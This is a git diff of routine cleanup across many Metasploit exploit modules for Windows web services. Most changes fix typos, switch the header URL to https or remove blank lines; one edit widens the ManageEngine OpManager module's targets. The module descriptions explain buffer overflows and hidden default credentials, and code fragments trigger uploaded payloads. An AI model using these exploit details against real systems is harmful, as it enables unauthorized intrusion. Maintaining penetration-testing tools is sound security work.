diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb
index 4eee2b2787..0074490b05 100644
--- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb
+++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -163,5 +163,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def wfs_delay
     5
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb
index abb33a9a93..dc5a4c1c10 100644
--- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb
+++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -167,5 +167,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def wfs_delay
     5
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb
index 81a63268a9..9fd6a6cd2d 100644
--- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb
+++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
         timestamp prior to April 7th, 2010.
 
         Reaching the vulnerable code requires a 'POST' request with an 'arg' parameter that, when combined
-        with a some static text, exceeds 10240 bytes. The parameter must begin with a dash. It is
+        with some static text, exceeds 10240 bytes. The parameter must begin with a dash. It is
         important to note that this vulnerability must be exploited by overwriting SEH. This is since
         overflowing the buffer with controllable data always triggers an access violation when
         attempting to write static text beyond the end of the stack.
@@ -134,5 +134,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_nnm_snmp.rb b/modules/exploits/windows/http/hp_nnm_snmp.rb
index ba4cadc4fa..1727da63cf 100644
--- a/modules/exploits/windows/http/hp_nnm_snmp.rb
+++ b/modules/exploits/windows/http/hp_nnm_snmp.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = GreatRanking
 
   include Msf::Exploit::Remote::HttpClient
diff --git a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb
index e26d1d30d4..62ba2f732b 100644
--- a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb
+++ b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
         CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary
         code.
 
-        The vulnerable code lies within the a function within "snmpviewer.exe" with a
+        The vulnerable code lies within a function within "snmpviewer.exe" with a
         timestamp prior to April 7th, 2010. This vulnerability is triggerable via either a GET
         or POST request. The request must contain 'act' and 'app' parameters which, when
         combined, total more than the 1024 byte stack buffer can hold.
@@ -170,5 +170,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def wfs_delay
     5
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_nnm_toolbar_01.rb b/modules/exploits/windows/http/hp_nnm_toolbar_01.rb
index 9e54ef3cac..34ef5b7351 100644
--- a/modules/exploits/windows/http/hp_nnm_toolbar_01.rb
+++ b/modules/exploits/windows/http/hp_nnm_toolbar_01.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -59,5 +59,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_nnm_toolbar_02.rb b/modules/exploits/windows/http/hp_nnm_toolbar_02.rb
index bfa2c5b120..97080de852 100644
--- a/modules/exploits/windows/http/hp_nnm_toolbar_02.rb
+++ b/modules/exploits/windows/http/hp_nnm_toolbar_02.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.0
         and 7.53.  By sending a CGI request with a specially OvOSLocale cookie to Toolbar.exe, an
         attacker may be able to execute arbitrary code.  Please note that this module only works
-        against a specific build (ie. NNM 7.53_01195)
+        against a specific build (i.e. NNM 7.53_01195)
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -138,7 +138,6 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
 
 
diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb
index f3400b003e..f357451095 100644
--- a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb
+++ b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
         cause a stack-based buffer overflow and execute arbitrary code.
 
         This vulnerability is not triggerable via a GET request due to limitations on the
-        request size. The buffer being targetted is 16384 bytes in size. There are actually two
+        request size. The buffer being targeted is 16384 bytes in size. There are actually two
         adjacent buffers that both get overflowed (one into the other), and strcat is used.
 
         The vulnerable code is within the "execvp_nc" function within "ov.dll" prior to
@@ -159,5 +159,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
 
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb
index 670b571937..175c790ec0 100644
--- a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb
+++ b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'        => "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow",
       'Description' => %q{
           This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.
-        By sending a request continaing a cookie longer than 5120 bytes, an attacker can overflow
+        By sending a request containing a cookie longer than 5120 bytes, an attacker can overflow
         a stack buffer and execute arbitrary code.
 
         The vulnerable code is within the OvWwwDebug function. The static-sized stack buffer is
@@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote
         like the following:
 
           #0 ...
-          #1 sprintf_new(local_stack_buf, fmt, cooke);
+          #1 sprintf_new(local_stack_buf, fmt, cookie);
           #2 OvWwwDebug("   HTTP_COOKIE=%s\n", cookie);
           #3 ?OvWwwInit@@YAXAAHQAPADPBD@Z(x, x, x);
           #4 sub_405ee0("nnm", "webappmon");
@@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote
         is easily achieved by overwriting the saved return address or SEH frame.
 
         The original advisory detailed an attack vector using the "OvJavaLocale" cookie being
-        passed in a request ot "webappmon.exe". Further research shows that several different
+        passed in a request to "webappmon.exe". Further research shows that several different
         cookie values, as well as several different CGI applications, can be used.
       '},
       'License'	  => MSF_LICENSE,
diff --git a/modules/exploits/windows/http/hp_openview_insight_backdoor.rb b/modules/exploits/windows/http/hp_openview_insight_backdoor.rb
index 0412ed3958..63d1a92528 100644
--- a/modules/exploits/windows/http/hp_openview_insight_backdoor.rb
+++ b/modules/exploits/windows/http/hp_openview_insight_backdoor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,8 +16,8 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a hidden account in the com.trinagy.security.XMLUserManager Java
         class. When using this account, an attacker can abuse the
-        com.trinagy.servlet.HelpManagerServlet class and write arbitary files to the system
-        allowing the execution of arbitary code.
+        com.trinagy.servlet.HelpManagerServlet class and write arbitrary files to the system
+        allowing the execution of arbitrary code.
 
         NOTE: This module has only been tested against HP OpenView Performance Insight Server 5.41.0
       },
@@ -100,7 +100,7 @@ this.internal.addRole("admin");
       }, 5)
 
     if ( res and res.code == 200 )
-      print_status("Login/Upload successful. Triggering payload at '/help/#{dir}/#{page}'...")
+      print_good("Login/Upload successful. Triggering payload at '/help/#{dir}/#{page}'...")
       send_request_raw({
           'uri'		=> "/help/#{dir}/#{page}",
           'method'	=> 'GET',
diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb
index a0f28ae4ab..2203ab0e15 100644
--- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb
+++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -128,5 +128,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Executing payload...")
     send_request_cgi({ 'uri' => "/RegWeb/#{jsp}" })
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb
index 515d5525f4..bc1ed4cf93 100644
--- a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb
+++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -126,5 +126,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Executing payload...")
     send_request_cgi({ 'uri' => "/RegWeb/#{jsp}" })
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_power_manager_filename.rb b/modules/exploits/windows/http/hp_power_manager_filename.rb
index 510656ccd6..24f401dc26 100644
--- a/modules/exploits/windows/http/hp_power_manager_filename.rb
+++ b/modules/exploits/windows/http/hp_power_manager_filename.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a buffer overflow in HP Power Manager's 'formExportDataLogs'.
         By creating a malformed request specifically for the fileName parameter, a stack-based
         buffer overflow occurs due to a long error message (which contains the fileName),
-        which may result aribitrary remote code execution under the context of 'SYSTEM'.
+        which may result in arbitrary remote code execution under the context of 'SYSTEM'.
       },
       'License'         => MSF_LICENSE,
       'Author'          =>
diff --git a/modules/exploits/windows/http/hp_power_manager_login.rb b/modules/exploits/windows/http/hp_power_manager_login.rb
index 334c127800..9d535794cd 100644
--- a/modules/exploits/windows/http/hp_power_manager_login.rb
+++ b/modules/exploits/windows/http/hp_power_manager_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -78,5 +78,4 @@ class MetasploitModule < Msf::Exploit::Remote
     select(nil,nil,nil,5)
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/hp_sitescope_dns_tool.rb b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb
index 404ae5bfef..1cbd923964 100644
--- a/modules/exploits/windows/http/hp_sitescope_dns_tool.rb
+++ b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb
index 40c3d66669..093fabcb17 100644
--- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb
+++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -164,5 +164,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     return res
   end
-
 end
diff --git a/modules/exploits/windows/http/httpdx_handlepeer.rb b/modules/exploits/windows/http/httpdx_handlepeer.rb
index 5d8801344c..36aeef7db7 100644
--- a/modules/exploits/windows/http/httpdx_handlepeer.rb
+++ b/modules/exploits/windows/http/httpdx_handlepeer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -119,5 +119,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/httpdx_tolog_format.rb b/modules/exploits/windows/http/httpdx_tolog_format.rb
index 7e1adcdfaf..746a121ef7 100644
--- a/modules/exploits/windows/http/httpdx_tolog_format.rb
+++ b/modules/exploits/windows/http/httpdx_tolog_format.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'HTTPDX tolog() Function Format String Vulnerability',
       'Description'    => %q{
           This module exploits a format string vulnerability in HTTPDX HTTP server.
-        By sending an specially crafted HTTP request containing format specifiers, an
+        By sending a specially crafted HTTP request containing format specifiers, an
         attacker can corrupt memory and execute arbitrary code.
 
         By default logging is off for HTTP, but enabled for the 'moderator' user
@@ -222,7 +222,6 @@ For now, that will have to be done manually.
     end
     nil
   end
-
 end
 
 
diff --git a/modules/exploits/windows/http/ia_webmail.rb b/modules/exploits/windows/http/ia_webmail.rb
index ccebeb3e51..eb7dc70cd6 100644
--- a/modules/exploits/windows/http/ia_webmail.rb
+++ b/modules/exploits/windows/http/ia_webmail.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -59,5 +59,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb b/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb
index 56c9a685a1..deac206ed2 100644
--- a/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb
+++ b/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb b/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb
index 28e4f94b70..46ca9caa2a 100644
--- a/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb
+++ b/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -219,5 +219,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/ibm_tsm_cad_header.rb b/modules/exploits/windows/http/ibm_tsm_cad_header.rb
index a63bf16423..c8dc394839 100644
--- a/modules/exploits/windows/http/ibm_tsm_cad_header.rb
+++ b/modules/exploits/windows/http/ibm_tsm_cad_header.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -59,5 +59,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/icecast_header.rb b/modules/exploits/windows/http/icecast_header.rb
index 92f38c5951..bd5ed97618 100644
--- a/modules/exploits/windows/http/icecast_header.rb
+++ b/modules/exploits/windows/http/icecast_header.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -85,5 +85,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/integard_password_bof.rb b/modules/exploits/windows/http/integard_password_bof.rb
index ec26dce9cb..f66d395af2 100644
--- a/modules/exploits/windows/http/integard_password_bof.rb
+++ b/modules/exploits/windows/http/integard_password_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
           vulnerable.
 
           The administration web page on port 18881 is vulnerable to a remote buffer overflow
-          attack. By sending an long character string in the password field, both the structured
+          attack. By sending a long character string in the password field, both the structured
           exception handler and the saved extended instruction pointer are over written, allowing
           an attacker to gain control of the application and the underlying operating system
           remotely.
diff --git a/modules/exploits/windows/http/intersystems_cache.rb b/modules/exploits/windows/http/intersystems_cache.rb
index 323c46004d..5602bd8e58 100644
--- a/modules/exploits/windows/http/intersystems_cache.rb
+++ b/modules/exploits/windows/http/intersystems_cache.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb
index 05eee65b30..8e35c2f938 100644
--- a/modules/exploits/windows/http/intrasrv_bof.rb
+++ b/modules/exploits/windows/http/intrasrv_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb b/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb
index aef63d6142..6d6c455082 100644
--- a/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb
+++ b/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -78,5 +78,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/jira_collector_traversal.rb b/modules/exploits/windows/http/jira_collector_traversal.rb
index 575fdc8209..90d38cf4d1 100644
--- a/modules/exploits/windows/http/jira_collector_traversal.rb
+++ b/modules/exploits/windows/http/jira_collector_traversal.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -203,5 +203,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def jsp_drop_and_execute(bin_data, output_file)
     jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
   end
-
 end
diff --git a/modules/exploits/windows/http/kaseya_uploader.rb b/modules/exploits/windows/http/kaseya_uploader.rb
index 035b5a1b70..e1795966f5 100644
--- a/modules/exploits/windows/http/kaseya_uploader.rb
+++ b/modules/exploits/windows/http/kaseya_uploader.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb
index 136180a0a8..8744b7ad4d 100644
--- a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb
+++ b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/windows/http/kolibri_http.rb b/modules/exploits/windows/http/kolibri_http.rb
index ac350a8538..c80059df68 100644
--- a/modules/exploits/windows/http/kolibri_http.rb
+++ b/modules/exploits/windows/http/kolibri_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,5 +72,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb b/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb
index df6ad00a90..b9e09e552f 100644
--- a/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb
+++ b/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -169,5 +169,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb b/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb
index 968c8d99b3..62f2faa418 100644
--- a/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb
+++ b/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -149,5 +149,4 @@ out.println("Path:" + System.getProperty("catalina.home"));
 
     jsp
   end
-
 end
diff --git a/modules/exploits/windows/http/mailenable_auth_header.rb b/modules/exploits/windows/http/mailenable_auth_header.rb
index e12234a813..f7c5ee3a5d 100644
--- a/modules/exploits/windows/http/mailenable_auth_header.rb
+++ b/modules/exploits/windows/http/mailenable_auth_header.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a remote buffer overflow in the MailEnable web service.
         The vulnerability is triggered when a large value is placed into the Authorization
-        header of the web request. MailEnable Enterprise Edition versions priot to 1.0.5 and
+        header of the web request. MailEnable Enterprise Edition versions prior to 1.0.5 and
         MailEnable Professional versions prior to 1.55 are affected.
       },
       'Author'         => 'David Maciejak <david.maciejak[at]kyxar.fr>',
@@ -62,5 +62,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb
index 04e65ebe75..ba31ebb651 100644
--- a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb
+++ b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,10 +16,10 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
         This module exploits a default credential vulnerability in ManageEngine OpManager, where a
         default hidden account "IntegrationUser" with administrator privileges exists. The account
-        has a default password of "plugin" which can not be reset through the user interface. By
+        has a default password of "plugin" which cannot be reset through the user interface. By
         log-in and abusing the default administrator's SQL query functionality, it's possible to
         write a WAR payload to disk and trigger an automatic deployment of this payload. This
-        module has been tested successfully on OpManager v11.5 and v11.6 for Windows.
+        module has been tested successfully on OpManager v11.0 and v11.4-v11.6 for Windows.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Arch'           => ARCH_JAVA,
       'Targets'        =>
         [
-          ['ManageEngine OpManager v11.6', {}]
+          ['ManageEngine OpManager <= v11.6', {}]
         ],
       'Privileged'     => false,
       'DisclosureDate' => 'Sep 14 2015',
@@ -120,7 +120,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'method' => 'GET'
     })
 
-    if res && res.code == 200 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/
+    if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9]+)"/
       api_key = $1
       print_status("Retrieved API key [ #{api_key} ]")
     else
@@ -178,5 +178,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/http/manageengine_apps_mngr.rb b/modules/exploits/windows/http/manageengine_apps_mngr.rb
index 574954ebf0..fbfbf9858a 100644
--- a/modules/exploits/windows/http/manageengine_apps_mngr.rb
+++ b/modules/exploits/windows/http/manageengine_apps_mngr.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(
       'Name'           => 'ManageEngine Applications Manager Authenticated Code Execution',
       'Description'    => %q{
-            This module logs into the Manage Engine Appplications Manager to upload a
+            This module logs into the Manage Engine Applications Manager to upload a
           payload to the file system and a batch script that executes the payload. },
       'Author'         => 'Jacob Giannantonio <JGiannan[at]gmail.com>',
       'Platform'       => 'win',
diff --git a/modules/exploits/windows/http/manageengine_connectionid_write.rb b/modules/exploits/windows/http/manageengine_connectionid_write.rb
index 5b6a63d9e4..2def0c6fa7 100644
--- a/modules/exploits/windows/http/manageengine_connectionid_write.rb
+++ b/modules/exploits/windows/http/manageengine_connectionid_write.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -203,6 +203,5 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Executing stager...")
     exec_jsp(stager_info)
   end
-
 end
 
diff --git a/modules/exploits/windows/http/maxdb_webdbm_database.rb b/modules/exploits/windows/http/maxdb_webdbm_database.rb
index 3c61f0ff5e..74da33afa2 100644
--- a/modules/exploits/windows/http/maxdb_webdbm_database.rb
+++ b/modules/exploits/windows/http/maxdb_webdbm_database.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -78,5 +78,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb b/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb
index 123b49cf27..843c38ff27 100644
--- a/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb
+++ b/modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -74,5 +74,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
